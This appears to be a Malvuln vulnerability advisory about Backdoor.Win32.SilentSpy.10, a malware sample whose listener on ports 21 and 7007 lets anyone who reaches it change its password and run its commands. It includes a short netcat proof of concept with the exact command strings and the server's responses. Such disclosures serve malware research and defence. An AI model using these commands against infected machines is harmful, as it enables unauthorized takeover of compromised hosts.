Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.SilentSpy.10 Vulnerability: Authentication Bypass Command Execution Description: The malware listens on TCP ports 21, 7007. Third-party attackers who can reach an infected system can change the server password on the fly using the !SETSERVPASS! command, logon and run commands made available by the malware. Type: PE32 MD5: a7ce38e60cf08f2b234f34043b87e701 Vuln ID: MVID-2021-0440 Disclosure: 12/31/2021 Exploit/PoC: nc64.exe x.x.x.x 7007 !SETSERVPASS! abc123 !STATUS!Server password has been changed !PASS! abc123 !PASSOK!!STATUS!Connnected to º∩LΘn7 ºp !SYMBOL! !STATUS!Symbol has been drawn !SETSERVNAME! HATE !STATUS!Server name has been changed nc64.exe x.x.x.x 7007 !PASS! abc123 !PASSOK!!STATUS!Connnected to HATE Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).